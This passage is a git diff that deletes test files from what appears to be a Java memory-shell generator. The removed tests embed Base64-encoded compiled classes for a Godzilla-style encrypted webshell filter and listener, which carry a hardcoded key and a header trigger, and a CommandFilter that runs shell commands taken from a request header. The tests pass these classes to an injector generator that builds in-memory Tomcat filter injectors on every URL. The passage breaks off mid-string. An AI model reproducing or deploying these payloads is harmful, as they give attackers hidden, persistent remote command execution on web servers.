Base64.decodeBase64("yv66vgAAADQBMgoARQCbCgBFAJwKAEUAnQgAngoAnwCgBwChCQAaAKIKAD4AowoABgCkCgCfAKUKAJ8ApgcApwcAqAcAqQkAGgCqCwANAKsJABoArAoAPgCtCwANAK4JABoArwsADQCwCgAaALEKABoAsggAswsAtAC1BwC2CgA9ALcKACQAuAoAGgCcCgAaALkLALQAuggAuwsADQC6BwC8CgAiAJsHAL0KACQAvgcAvwcAwAcAwQoAKADCCgA9AMMLAA4AxAkAGgDFCgA+AMYKAMcAyAoAPQDJCgAiAMoKABoAywoAPgDMCwDNAM4IAM8KACQA0AgA0QcA0goAJADTBwDUCgDVANYIANcHAFoHANgHANkIANoIANsIANwIAN0IAN4IAN8HAOAHAOEBAANrZXkBABJMamF2YS9sYW5nL1N0cmluZzsBAARwYXNzAQADbWQ1AQAKaGVhZGVyTmFtZQEAC2hlYWRlclZhbHVlAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAERMY29tL3JlYWphc29uL2phdmF3ZWIvbWVtc2VsbC90b21jYXQvZ29kemlsbGEvR29kemlsbGFKYWthcnRhRmlsdGVyOwEAGihMamF2YS9sYW5nL0NsYXNzTG9hZGVyOylWAQABegEAF0xqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7AQABUQEAFShbQilMamF2YS9sYW5nL0NsYXNzOwEAAmNiAQACW0IBAAlTaWduYXR1cmUBABgoW0IpTGphdmEvbGFuZy9DbGFzczwqPjsBAAF4AQAHKFtCWilbQgEAAWMBABVMamF2YXgvY3J5cHRvL0NpcGhlcjsBAAR2YXI0AQAVTGphdmEvbGFuZy9FeGNlcHRpb247AQABcwEAAW0BAAFaAQANU3RhY2tNYXBUYWJsZQcAtgcA4gcApwEACGRvRmlsdGVyAQBhKExqYWthcnRhL3NlcnZsZXQvU2VydmxldFJlcXVlc3Q7TGpha2FydGEvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2U7TGpha2FydGEvc2VydmxldC9GaWx0ZXJDaGFpbjspVgEAAWYBABJMamF2YS9sYW5nL09iamVjdDsBAAFlAQAoTGphdmEvbGFuZy9SZWZsZWN0aXZlT3BlcmF0aW9uRXhjZXB0aW9uOwEABmFyck91dAEAH0xqYXZhL2lvL0J5dGVBcnJheU91dHB1dFN0cmVhbTsBAAdzZXNzaW9uAQAiTGpha2FydGEvc2VydmxldC9odHRwL0h0dHBTZXNzaW9uOwEABGRhdGEBAA5zZXJ2bGV0UmVxdWVzdAEAIExqYWthcnRhL3NlcnZsZXQvU2VydmxldFJlcXVlc3Q7AQAPc2VydmxldFJlc3BvbnNlAQAhTGpha2FydGEvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2U7AQAFY2hhaW4BAB1MamFrYXJ0YS9zZXJ2bGV0L0ZpbHRlckNoYWluOwEAB3JlcXVlc3QBAClMamFrYXJ0YS9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0OwEACHJlc3BvbnNlAQAqTGpha2FydGEvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2U7BwDjBwDkBwDlBwCoBwCpBwDmBwC8BwDnBwDYAQAKRXhjZXB0aW9ucwcA6AcA6QEADGJhc2U2NEVuY29kZQEAFihbQilMamF2YS9sYW5nL1N0cmluZzsBAAdlbmNvZGVyAQAGYmFzZTY0AQARTGphdmEvbGFuZy9DbGFzczsBAAR2YXI2AQACYnMBAAV2YWx1ZQEAFkxvY2FsVmFyaWFibGVUeXBlVGFibGUBABRMamF2YS9sYW5nL0NsYXNzPCo+OwcA2QEADGJhc2U2NERlY29kZQEAFihMamF2YS9sYW5nL1N0cmluZzspW0IBAAdkZWNvZGVyAQAKU291cmNlRmlsZQEAGkdvZHppbGxhSmFrYXJ0YUZpbHRlci5qYXZhDABNAE4MAE0AVAwA6gDrAQADQUVTBwDiDADsAO0BAB9qYXZheC9jcnlwdG8vc3BlYy9TZWNyZXRLZXlTcGVjDABHAEgMAO4A7wwATQDwDADxAPIMAPMA9AEAE2phdmEvbGFuZy9FeGNlcHRpb24BACdqYWthcnRhL3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3QBAChqYWthcnRhL3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlDABLAEgMAPUA9gwATABIDAD3APgMAPkA+gwASQBIDAD7APYMAJYAlwwAXQBeAQAHcGF5bG9hZAcA5gwA/AD9AQBCY29tL3JlYWphc29uL2phdmF3ZWIvbWVtc2VsbC90b21jYXQvZ29kemlsbGEvR29kemlsbGFKYWthcnRhRmlsdGVyDAD+AP8MAQABAQwAVwBYDAECAQMBAApwYXJhbWV0ZXJzAQAdamF2YS9pby9CeXRlQXJyYXlPdXRwdXRTdHJlYW0BAA9qYXZhL2xhbmcvQ2xhc3MMAQQBBQEAIGphdmEvbGFuZy9JbnN0YW50aWF0aW9uRXhjZXB0aW9uAQAgamF2YS9sYW5nL0lsbGVnYWxBY2Nlc3NFeGNlcHRpb24BABpqYXZhL2xhbmcvUnVudGltZUV4Y2VwdGlvbgwATQEGDAEHAQgMAQkBCgwASgBIDAELAQwHAQ0MAQ4BDwwBEAERDAESAO8MAIsAjAwBCwETBwDlDABqARQBABBqYXZhLnV0aWwuQmFzZTY0DAEVARYBAApnZXRFbmNvZGVyAQASW0xqYXZhL2xhbmcvQ2xhc3M7DAEXARgBABNbTGphdmEvbGFuZy9PYmplY3Q7BwEZDAEaARsBAA5lbmNvZGVUb1N0cmluZwEAEGphdmEvbGFuZy9PYmplY3QBABBqYXZhL2xhbmcvU3RyaW5nAQAWc3VuLm1pc2MuQkFTRTY0RW5jb2RlcgEABmVuY29kZQEACmdldERlY29kZXIBAAZkZWNvZGUBABZzdW4ubWlzYy5CQVNFNjREZWNvZGVyAQAMZGVjb2RlQnVmZmVyAQAVamF2YS9sYW5nL0NsYXNzTG9hZGVyAQAWamFrYXJ0YS9zZXJ2bGV0L0ZpbHRlcgEAE2phdmF4L2NyeXB0by9DaXBoZXIBAB5qYWthcnRhL3NlcnZsZXQvU2VydmxldFJlcXVlc3QBAB9qYWthcnRhL3NlcnZsZXQvU2VydmxldFJlc3BvbnNlAQAbamFrYXJ0YS9zZXJ2bGV0L0ZpbHRlckNoYWluAQAgamFrYXJ0YS9zZXJ2bGV0L2h0dHAvSHR0cFNlc3Npb24BACZqYXZhL2xhbmcvUmVmbGVjdGl2ZU9wZXJhdGlvbkV4Y2VwdGlvbgEAIGpha2FydGEvc2VydmxldC9TZXJ2bGV0RXhjZXB0aW9uAQATamF2YS9pby9JT0V4Y2VwdGlvbgEAC2RlZmluZUNsYXNzAQAXKFtCSUkpTGphdmEvbGFuZy9DbGFzczsBAAtnZXRJbnN0YW5jZQEAKShMamF2YS9sYW5nL1N0cmluZzspTGphdmF4L2NyeXB0by9DaXBoZXI7AQAIZ2V0Qnl0ZXMBAAQoKVtCAQAXKFtCTGphdmEvbGFuZy9TdHJpbmc7KVYBAARpbml0AQAXKElMamF2YS9zZWN1cml0eS9LZXk7KVYBAAdkb0ZpbmFsAQAGKFtCKVtCAQAJZ2V0SGVhZGVyAQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBAAhjb250YWlucwEAGyhMamF2YS9sYW5nL0NoYXJTZXF1ZW5jZTspWgEACmdldFNlc3Npb24BACQoKUxqYWthcnRhL3NlcnZsZXQvaHR0cC9IdHRwU2Vzc2lvbjsBAAxnZXRQYXJhbWV0ZXIBAAxnZXRBdHRyaWJ1dGUBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvT2JqZWN0OwEACGdldENsYXNzAQATKClMamF2YS9sYW5nL0NsYXNzOwEADmdldENsYXNzTG9hZGVyAQAZKClMamF2YS9sYW5nL0NsYXNzTG9hZGVyOwEADHNldEF0dHJpYnV0ZQEAJyhMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL09iamVjdDspVgEAC25ld0luc3RhbmNlAQAUKClMamF2YS9sYW5nL09iamVjdDsBABgoTGphdmEvbGFuZy9UaHJvd2FibGU7KVYBAAZlcXVhbHMBABUoTGphdmEvbGFuZy9PYmplY3Q7KVoBAAlnZXRXcml0ZXIBABcoKUxqYXZhL2lvL1ByaW50V3JpdGVyOwEACXN1YnN0cmluZwEAFihJSSlMamF2YS9sYW5nL1N0cmluZzsBABNqYXZhL2lvL1ByaW50V3JpdGVyAQAFd3JpdGUBABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBAAh0b1N0cmluZwEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQALdG9CeXRlQXJyYXkBABUoSSlMamF2YS9sYW5nL1N0cmluZzsBAEQoTGpha2FydGEvc2VydmxldC9TZXJ2bGV0UmVxdWVzdDtMamFrYXJ0YS9zZXJ2bGV0L1NlcnZs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"); - String shellClassName = "org.apache.utils.CommonJakartaFilter"; - String injectClassName = this.getClass().getName() + "2"; - byte[] bytes = InjectorGenerator.generate(TomcatFilterInjector.class, injectClassName, shellClassName, shellBytes, "/*"); - Object obj = ClassUtils.newInstance(bytes); - assertEquals(injectClassName, obj.getClass().getName()); - assertEquals(shellClassName, ClassUtils.invokeMethod(obj, "getClassName", null, null).toString()); - assertEquals("/*", ClassUtils.invokeMethod(obj, "getUrlPattern", null, null).toString()); - assertEquals(Base64.encodeBase64String(CommonUtil.gzipCompress(shellBytes)).replace(System.lineSeparator(), ""), - ClassUtils.invokeMethod(obj, "getBase64String", null, null).toString()); - System.out.println(Base64.encodeBase64String(bytes)); - } - - @Test - @SneakyThrows - void generateCommandFilter() { - byte[] shellBytes = Base64.decodeBase64("yv66vgAAADQAfgoADwBKBwBLBwBMCQAOAE0LAAIATgoATwBQCgBPAFEKAFIAUwsAAwBUCgBVAFYKAFcAWAsAWQBaBwBbBwBcBwBdBwBeAQAKaGVhZGVyTmFtZQEAEkxqYXZhL2xhbmcvU3RyaW5nOwEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQA7TGNvbS9yZWFqYXNvbi9qYXZhd2ViL21lbXNlbGwvdG9tY2F0L2NvbW1hbmQvQ29tbWFuZEZpbHRlcjsBAARpbml0AQAfKExqYXZheC9zZXJ2bGV0L0ZpbHRlckNvbmZpZzspVgEADGZpbHRlckNvbmZpZwEAHExqYXZheC9zZXJ2bGV0L0ZpbHRlckNvbmZpZzsBAApFeGNlcHRpb25zBwBfAQAIZG9GaWx0ZXIBAFsoTGphdmF4L3NlcnZsZXQvU2VydmxldFJlcXVlc3Q7TGphdmF4L3NlcnZsZXQvU2VydmxldFJlc3BvbnNlO0xqYXZheC9zZXJ2bGV0L0ZpbHRlckNoYWluOylWAQAEZXhlYwEAE0xqYXZhL2xhbmcvUHJvY2VzczsBAAtpbnB1dFN0cmVhbQEAFUxqYXZhL2lvL0lucHV0U3RyZWFtOwEADG91dHB1dFN0cmVhbQEAI0xqYXZheC9zZXJ2bGV0L1NlcnZsZXRPdXRwdXRTdHJlYW07AQADYnVmAQACW0IBAAZsZW5ndGgBAAFJAQABZQEAFUxqYXZhL2xhbmcvRXhjZXB0aW9uOwEAB3JlcXVlc3QBAB5MamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdDsBAAhyZXNwb25zZQEAH0xqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTsBAAVjaGFpbgEAG0xqYXZheC9zZXJ2bGV0L0ZpbHRlckNoYWluOwEADnNlcnZsZXRSZXF1ZXN0AQAnTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3Q7AQAPc2VydmxldFJlc3BvbnNlAQAoTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlOwEAA2NtZAEADVN0YWNrTWFwVGFibGUHAFwHAGAHAGEHAGIHAEsHAEwHAGMHAGQHAGUHAGYHACkHAFsHAGcBAAdkZXN0cm95AQAKU291cmNlRmlsZQEAEkNvbW1hbmRGaWx0ZXIuamF2YQwAEwAUAQAlamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdAEAJmphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlDAARABIMAGgAaQcAagwAawBsDAAiAG0HAGQMAG4AbwwAcABxBwBlDAByAHMHAGYMAHQAdQcAYgwAIAB2AQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAOWNvbS9yZWFqYXNvbi9qYXZhd2ViL21lbXNlbGwvdG9tY2F0L2NvbW1hbmQvQ29tbWFuZEZpbHRlcgEAEGphdmEvbGFuZy9PYmplY3QBABRqYXZheC9zZXJ2bGV0L0ZpbHRlcgEAHmphdmF4L3NlcnZsZXQvU2VydmxldEV4Y2VwdGlvbgEAHGphdmF4L3NlcnZsZXQvU2VydmxldFJlcXVlc3QBAB1qYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZQEAGWphdmF4L3NlcnZsZXQvRmlsdGVyQ2hhaW4BABBqYXZhL2xhbmcvU3RyaW5nAQARamF2YS9sYW5nL1Byb2Nlc3MBABNqYXZhL2lvL0lucHV0U3RyZWFtAQAhamF2YXgvc2VydmxldC9TZXJ2bGV0T3V0cHV0U3RyZWFtAQATamF2YS9pby9JT0V4Y2VwdGlvbgEACWdldEhlYWRlcgEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAD2dldE91dHB1dFN0cmVhbQEAJSgpTGphdmF4L3NlcnZsZXQvU2VydmxldE91dHB1dFN0cmVhbTsBAARyZWFkAQAFKFtCKUkBAAV3cml0ZQEAByhbQklJKVYBAEAoTGphdmF4L3NlcnZsZXQvU2VydmxldFJlcXVlc3Q7TGphdmF4L3NlcnZsZXQvU2VydmxldFJlc3BvbnNlOylWAQAZb3JnL2NvbW1hbmQvQ29tbWFuZEZpbHRlcgcAdwgAOAkAeABNAQAbTG9yZy9jb21tYW5kL0NvbW1hbmRGaWx0ZXI7AQALJGphY29jb0RhdGEBAAJbWgAhAHgADwABABAAAgABABEAEgAAEIoAfAB9AAAABAABABMAFAABABUAAAAXAAIAAQAAAAsqtwABKhJ5tQB6sQAAAAAAAQAaABsAAgAVAAAANQAAAAIAAAABsQAAAAIAFgAAAAYAAQAAABMAFwAAABYAAgAAAAEAGAB7AAAAAAABABwAHQABAB4AAAAEAAEAHwABACAAIQACABUAAAGwAAQADAAAAHcrwAA+OgQswAA/OgUZBCq0AHq5AAUCADoGGQbGAEK4AAYZBrYABzoHGQe2AAg6CBkFuQAJAQA6CREgALwIOgoZCBkKtgAKWTYLAp8AEBkJGQoDFQu2AAun/+inAA0tGQQZBbkADAMApwAPOgctGQQZBbkADAMAsQABABkAZwBqAEUAAwA5AAAATQAG/wA/AAsHAHgHADsHADwHAFkHAD4HAD8HAEAHAFIHAFUHAFcHAEQAAP8AGgAHBwB4BwA7BwA8BwBZBwA+BwA/BwBAAAACCUIHAEULABYAAABCABAAAAAXAAYAGAAMABkAGQAbAB4AHAAoAB0ALwAeADgAHwA/ACEATQAiAFoAJABdACUAZwApAGoAJwBsACgAdgAqABcAAACEAA0AKAAyACIAIwAHAC8AKwAkACUACAA4ACIAJgAnAAkAPwAbACgAKQAKAEkAEQAqACsACwBsAAoALAAtAAcAAAB3ABgAewAAAAAAdwAuAC8AAQAAAHcAMAAxAAIAAAB3ADIAMwADAAYAcQA0ADUABAAMAGsANgA3AAUAGQBeADgAEgAGAB4AAAAGAAIARgAfAAEARwAUAAEAFQAAACsAAAABAAAAAbEAAAACABYAAAAGAAEAAAAvABcAAAAMAAEAAAABABgAewAAAAEASAAAAAIASQ=="); - String shellClassname = "org.command.CommandFilter"; - String injectClassName = this.getClass().getName() + "3"; - byte[] bytes = InjectorGenerator.generate(TomcatFilterInjector.class, injectClassName, shellClassname, shellBytes, "/*"); - System.out.println(Base64.encodeBase64String(bytes)); - } -} \ No newline at end of file diff --git a/generator/src/test/java/com/reajason/javaweb/memsell/tomcat/injector/TomcatListenerInjectorTest.java b/generator/src/test/java/com/reajason/javaweb/memsell/tomcat/injector/TomcatListenerInjectorTest.java deleted file mode 100644 index 490ed2a3..00000000 --- a/generator/src/test/java/com/reajason/javaweb/memsell/tomcat/injector/TomcatListenerInjectorTest.java +++ /dev/null @@ -1,47 +0,0 @@ -package com.reajason.javaweb.memsell.tomcat.injector; - -import com.reajason.javaweb.memsell.InjectorGenerator; -import com.reajason.javaweb.util.ClassUtils; -import com.reajason.javaweb.util.CommonUtil; -import lombok.SneakyThrows; -import org.apache.commons.codec.binary.Base64; -import org.junit.jupiter.api.Test; - -import static org.junit.jupiter.api.Assertions.assertEquals; - -/** - * @author ReaJason - * @since 2024/11/24 - */ -class TomcatListenerInjectorTest { - - @Test - @SneakyThrows - void generate() { - byte[] shellBytes = Base64.decodeBase64("yv66vgAAADQBSAoATAClCgBMAKYKAAQApwcAqAoAEwCpBwCqCgATAKsKAAYArAoArQCuCgCtAK8IALAKABMAsQgAsgcAswoAEwC0BwC1CgC2ALcIALgHALkHAHcHALoHALsIALwKABMAvQgAvggAvwgAwAgAwQgAwgoATADDCADECgDFAMYHAMcJADUAyAoAFQDJCgAhAMoKAMUAywoAxQDMCgDNAM4HAM8JADUA0AsAKADRCQA1ANIKABUA0woANQDUCwAoANUJADUA1gsAKADXCgA1ANgKADUA2QgA2gsA2wDcBwDdCgATAN4KADUApgoANQDfCwDbAOAIAOELACgA4AcA4goAPAClCgAEAOMLAEsA5AkANQDlCgAVAOYKAOcA6AoABADpCgA8AOoKADUA6woAFQDsCwBLAO0IAJoKADUA7ggAlQcA7wcA8AcA8QEAA21kNQEAEkxqYXZhL2xhbmcvU3RyaW5nOwEABHBhc3MBAANrZXkBAApoZWFkZXJOYW1lAQALaGVhZGVyVmFsdWUBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAP0xjb20vcmVhamFzb24vamF2YXdlYi9tZW1zZWxsL3RvbWNhdC9nb2R6aWxsYS9Hb2R6aWxsYUxpc3RlbmVyOwEAGihMamF2YS9sYW5nL0NsYXNzTG9hZGVyOylWAQABegEAF0xqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7AQANZ2V0RmllbGRWYWx1ZQEAOChMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9PYmplY3Q7AQAEdmFyNQEAIExqYXZhL2xhbmcvTm9TdWNoRmllbGRFeGNlcHRpb247AQADb2JqAQASTGphdmEvbGFuZy9PYmplY3Q7AQAEbmFtZQEABWZpZWxkAQAZTGphdmEvbGFuZy9yZWZsZWN0L0ZpZWxkOwEABWNsYXp6AQARTGphdmEvbGFuZy9DbGFzczsBABZMb2NhbFZhcmlhYmxlVHlwZVRhYmxlAQAUTGphdmEvbGFuZy9DbGFzczwqPjsBAA1TdGFja01hcFRhYmxlBwDyBwC5BwCqAQAKRXhjZXB0aW9ucwEADGJhc2U2NEVuY29kZQEAFihbQilMamF2YS9sYW5nL1N0cmluZzsBAAdlbmNvZGVyAQAGYmFzZTY0AQAEdmFyNgEAFUxqYXZhL2xhbmcvRXhjZXB0aW9uOwEAAmJzAQACW0IBAAV2YWx1ZQcAugcAuwEADGJhc2U2NERlY29kZQEAFihMamF2YS9sYW5nL1N0cmluZzspW0IBAAdkZWNvZGVyAQABUQEAFShbQilMamF2YS9sYW5nL0NsYXNzOwEAAmNiAQAJU2lnbmF0dXJlAQAYKFtCKUxqYXZhL2xhbmcvQ2xhc3M8Kj47AQABeAEAByhbQlopW0IBAAFjAQAVTGphdmF4L2NyeXB0by9DaXBoZXI7AQAEdmFyNAEAAXMBAAFtAQABWgcA3QcA8wEAEHJlcXVlc3REZXN0cm95ZWQBACYoTGphdmF4L3NlcnZsZXQvU2VydmxldFJlcXVlc3RFdmVudDspVgEAE3NlcnZsZXRSZXF1ZXN0RXZlbnQBACNMamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdEV2ZW50OwEAEnJlcXVlc3RJbml0aWFsaXplZAEABmFyck91dAEAH0xqYXZhL2lvL0J5dGVBcnJheU91dHB1dFN0cmVhbTsBAAFmAQAIcmVzcG9uc2UBAChMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2U7AQAHc2Vzc2lvbgEAIExqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlc3Npb247AQAEZGF0YQEAB3JlcXVlc3QBACdMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdDsHAPQHAM8HAO8HAPUBABZnZXRSZXNwb25zZUZyb21SZXF1ZXN0AQBRKExqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0OylMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2U7AQABZQEAClNvdXJjZUZpbGUBABVHb2R6aWxsYUxpc3RlbmVyLmphdmEMAFQAVQwAVABbDAD2APcBABBqYXZhL2xhbmcvT2JqZWN0DAD4APkBAB5qYXZhL2xhbmcvTm9TdWNoRmllbGRFeGNlcHRpb24MAPoA9wwAVAD7BwDyDAD8AP0MAP4A/wEAEGphdmEudXRpbC5CYXNlNjQMAQABAQEACmdldEVuY29kZXIBABJbTGphdmEvbGFuZy9DbGFzczsMAQIBAwEAE1tMamF2YS9sYW5nL09iamVjdDsHAQQMAQUBBgEADmVuY29kZVRvU3RyaW5nAQAPamF2YS9sYW5nL0NsYXNzAQAQamF2YS9sYW5nL1N0cmluZwEAE2phdmEvbGFuZy9FeGNlcHRpb24BABZzdW4ubWlzYy5CQVNFNjRFbmNvZGVyDAEHAQgBAAZlbmNvZGUBAApnZXREZWNvZGVyAQAGZGVjb2RlAQAWc3VuLm1pc2MuQkFTRTY0RGVjb2RlcgEADGRlY29kZUJ1ZmZlcgwBCQEKAQADQUVTBwDzDAELAQwBAB9qYXZheC9jcnlwdG8vc3BlYy9TZWNyZXRLZXlTcGVjDABRAE8MAQ0BDgwAVAEPDAEQAREMARIBEwcA9AwBFAEVAQAlamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdAwAUgBPDAEWARcMAFMATwwBGAEZDACgAKEMARoBGwwAUABPDAEcARcMAHsAfAwAgwCEAQAHcGF5bG9hZAcA9QwBHQEeAQA9Y29tL3JlYWphc29uL2phdmF3ZWIvbWVtc2VsbC90b21jYXQvZ29kemlsbGEvR29kemlsbGFMaXN0ZW5lcgwBHwEgDAB+AH8MASEBIgEACnBhcmFtZXRlcnMBAB1qYXZhL2lvL0J5dGVBcnJheU91dHB1dFN0cmVhbQwBIwEkDAElASYMAE4ATwwBJwEoBwEpDAEqAPsMASsBLAwBLQEODABwAHEMAScBLgwBLwBVDABeAF8BACZqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZQEAFWphdmEvbGFuZy9DbGFzc0xvYWRlcg